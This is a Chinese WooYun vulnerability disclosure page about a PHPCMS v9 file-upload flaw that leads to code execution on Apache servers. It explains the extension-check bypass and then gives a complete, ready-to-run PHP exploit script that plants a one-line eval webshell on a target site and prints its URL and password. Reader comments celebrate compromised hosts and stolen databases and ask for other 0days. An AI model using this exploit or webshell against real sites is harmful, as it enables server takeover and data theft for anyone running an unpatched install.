当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(58) 关注此漏洞

缺陷编号: WooYun-2013-19299

漏洞标题: PHPCMS v9 Getshell(Apache)

相关厂商: phpcms

漏洞作者: n3wF

提交时间: 2013-02-27 23:17

公开时间: 2013-03-04 23:17

漏洞类型: 文件上传导致任意代码执行

危害等级: 高

自评Rank: 15

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 文件上传 getshell apache解析漏洞

17人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-02-27: 细节已通知厂商并且等待厂商处理中
2013-03-04: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

phpcms v9 getshell (apache)

详细说明:

漏洞文件:phpcms\modules\attachment\attachments.php

code 区域
  public function crop_upload() {	
if (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {
   $pic = $GLOBALS["HTTP_RAW_POST_DATA"];
   if (isset($_GET['width']) && !empty($_GET['width'])) {
   $width = intval($_GET['width']);
   }
   if (isset($_GET['height']) && !empty($_GET['height'])) {
   $height = intval($_GET['height']);
   }
   if (isset($_GET['file']) && !empty($_GET['file'])) {
   $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号
   if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键
   if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {
   $file = $_GET['file'];
   $basename = basename($file);//获取带有后缀的文件名
   if (strpos($basename, 'thumb_')!==false) {
   $file_arr = explode('_', $basename);
   $basename = array_pop($file_arr);
   }
   $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;
   } else {
   pc_base::load_sys_class('attachment','',0);
   $module = trim($_GET['module']);
   $catid = intval($_GET['catid']);
   $siteid = $this->get_siteid();
   $attachment = new attachment($module, $catid, $siteid);
   $uploadedfile['filename'] = basename($_GET['file']);
   $uploadedfile['fileext'] = fileext($_GET['file']);
   if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {
   $uploadedfile['isimage'] = 1;
   }
   $file_path = $this->upload_path.date('Y/md/');
   pc_base::load_sys_func('dir');
   dir_create($file_path);
   $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];
   $uploadedfile['filepath'] = date('Y/md/').$new_file;
   $aid = $attachment->add($uploadedfile);
   }
   $filepath = date('Y/md/');
   file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控
   } else {
   return false;
   }
   echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;
   exit;
   }
   }





后缀检测:phpcms\modules\attachment\functions\global.func.php

code 区域
function is_image($file) {
   $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');
   $ext = fileext($file);关键地方
   return in_array($ext,$ext_arr) ? $ext_arr :false;
  }





关键函数:

code 区域
  function fileext($filename) {
   return strtolower(trim(substr(strrchr($filename, '.'), 1, 10)));
  }





  Fileext函数是对文件后缀名的提取。

  根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php

  经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。

  我们回到public function crop_upload() 函数中

  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();

  在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数

  这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。

  经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。

  最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。

  看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。

漏洞证明:

exp:

code 区域
<?php
error_reporting(E_ERROR);
set_time_limit(0);
$pass="ln";
print_r('
+---------------------------------------------------------------------------+
PHPCms V9 GETSHELL 0DAY

code by L.N.

apache 适用(利用的apache的解析漏洞)
+---------------------------------------------------------------------------+
');
if ($argc < 2) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url path

Example:
1.php '.$argv[0].' **.**.**.**
2.php '.$argv[0].' **.**.**.** /phpcms
+---------------------------------------------------------------------------+
');
exit;
}

$url = $argv[1];
$path = $argv[2];
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
if($ret=Create_dir($url,$path))
{
//echo $ret;
$pattern = "|Server:[^,]+?|U";
preg_match_all($pattern, $ret, $matches);
if($matches[0][0])
{
if(strpos($matches[0][0],'Apache') == false)
{
echo "\n亲!此网站不是apache的网站。\n";exit;
}
}
$ret = GetShell($url,$phpshell,$path,$file);
$pattern = "|http:\/\/[^,]+?\.,?|U";
preg_match_all($pattern, $ret, $matches);
if($matches[0][0])
{
echo "\n".'密码为: '.$pass."\n";
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
}
else
{
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
preg_match_all($pattern, $ret, $matches);
if($matches[0][0])
{
echo "\n".'密码为: '.$pass."\n";
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
}
else
{
echo "\r\n没得到!\n";exit;
}
}
}

function GetShell($url,$shell,$path,$js)
{
$content =$shell;
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
$data .= "Host: ".$url."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$data .= "Connection: close\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($url,80);
if (!$ock)
{
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
}
else
{
fwrite($ock,$data);
$resp = '';
while (!feof($ock))
{
$resp.=fread($ock, 1024);
}
return $resp;
}
}

function Create_dir($url,$path='')
{
$content ='I love you';
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://**.**.**.**/1.jpg HTTP/1.1\r\n";
$data .= "Host: ".$url."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$data .= "Connection: close\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($url,80);
if (!$ock)
{
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
}
fwrite($ock,$data);
$resp = '';
while (!feof($ock))
{
$resp.=fread($ock, 1024);
}
return $resp;
}
?>

修复方案:

过滤过滤再过滤

版权声明:转载请注明来源 n3wF@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-03-04 23:17

厂商回复:

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共4人评价):
登陆后才能进行评分
100%
0%
0%
0%
0%

评价

  1. 2013-02-27 23:22 | 暗夜清风 ( 实习白帽子 | Rank:44 漏洞数:10 | 大哥,你的娃娃掉了.举手之劳,不必以身相许)
    0

    出租广告位

  2. 2013-02-28 00:23 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)
    2

    出租广告位

  3. 2013-02-28 05:07 | Black World ( 路人 | Rank:0 漏洞数:1 | 无孔不入)
    1

    又一个狂风到来 .

  4. 2013-02-28 08:13 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)
    1

    出租小马扎,汽水,爆米花,恰恰瓜子。

  5. 2013-02-28 10:30 | tenzy ( 普通白帽子 | Rank:176 漏洞数:21 | Need not to know)
    0

    FLASH上传文件那里?

  6. 2013-02-28 11:09 | 無情 ( 实习白帽子 | Rank:41 漏洞数:5 | 根据相关法律法规和政策,此信息未予显示。)
    0

    坐等公开。。。

  7. 2013-02-28 11:33 | tenzy ( 普通白帽子 | Rank:176 漏洞数:21 | Need not to know)
    0

    估计就是老的那个漏洞,,。。。纯粹是服务器环境问题。如果要从修改代码的方向杜绝这个问题的话,我是没辙了。。 WooYun: PHPCMS V9 getwebshell漏洞

  8. 2013-02-28 14:48 | 90_ ( 实习白帽子 | Rank:60 漏洞数:13 | 关注网络信息安全。)
    0

    成都信息学院的学生?

  9. 2013-03-01 21:32 | L.N. ( 路人 | Rank:29 漏洞数:6 | 不断进步····)
    0

    @tenzy 修改代码可以杜绝的!他获取后缀的时候来了个1-10.

  10. 2013-03-02 21:53 | YouTube ( 路人 | Rank:3 漏洞数:1 | YouTube是世界上最大的视频分享网站,早期...)
    0

    不明觉历

  11. 2013-03-05 00:36 | n3wF ( 路人 | Rank:6 漏洞数:2 )
    0

    =.=好忽略

  12. 2013-03-06 11:24 | 梦醉清风 ( 路人 | Rank:16 漏洞数:2 | 1995年介入安全工作,主要从事信息安全测评...)
    0

    这个漏洞需要些水平,主要是写语句的水平

  13. 2013-03-07 23:25 | Hello_C ( 路人 | Rank:0 漏洞数:1 | 谦和温顺且自持的生活,不乱于心,不困于情...)
    1

    我~次奥~忽略了?

  14. 2013-03-07 23:34 | n3wF ( 路人 | Rank:6 漏洞数:2 )
    0

    @Hello_C 你答对了=。=·

  15. 2013-03-08 11:14 | 社长 ( 路人 | Rank:20 漏洞数:17 | 网络安全爱好者)
    0

    这个洞已经让很多站遭殃了

  16. 2013-03-08 18:24 | n3wF ( 路人 | Rank:6 漏洞数:2 )
    0

    @社长 所以说phpcms给各位大黑阔带来了好多肉鸡和裤子啊。一起感谢phpcms吧

  17. 2013-03-08 23:16 | 社长 ( 路人 | Rank:20 漏洞数:17 | 网络安全爱好者)
    0

    @n3wF 这几天DZ的0day也很火啊

  18. 2013-03-09 09:53 | n3wF ( 路人 | Rank:6 漏洞数:2 )
    0

    @社长 求来一发

  19. 2013-03-10 23:33 | pangshenjie ( 普通白帽子 | Rank:110 漏洞数:14 )
    0

    @社长 来一发

  20. 2013-03-12 19:23 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)
    0

    @tenzy @L.N. 我是觉得奇怪的为什么file参数要允许url传入,难道要支持远程裁剪图片么,但真是这样的话,应该抽出来独立来做才对,而不是现在这样疑似违反类的单一职责原则...修复方案可以考虑根据附件模型,作正则匹配(这部分需要对phpcms有一定了解);并且写入时,不允许多后缀名,一种文件命名示例是:sha1或md5($_GET['file'])+经过验证的图片后缀名(怕麻烦可以直接.jpg结尾,反正浏览器显示图片并不会管后缀名)

  21. 2013-06-07 20:22 | 情逍遥 ( 路人 | Rank:10 漏洞数:3 )
    0

    @90_ 你是成都工程信息工程学院的学生?

  22. 2013-06-09 18:54 | 90_ ( 实习白帽子 | Rank:60 漏洞数:13 | 关注网络信息安全。)
    0

    @情逍遥 有事么?

  23. 2013-06-12 12:38 | 情逍遥 ( 路人 | Rank:10 漏洞数:3 )
    0

    @90_ 没有什么事,我也是这个学校的。如果是,想认识下。

登录后才能发表评论,请先 登录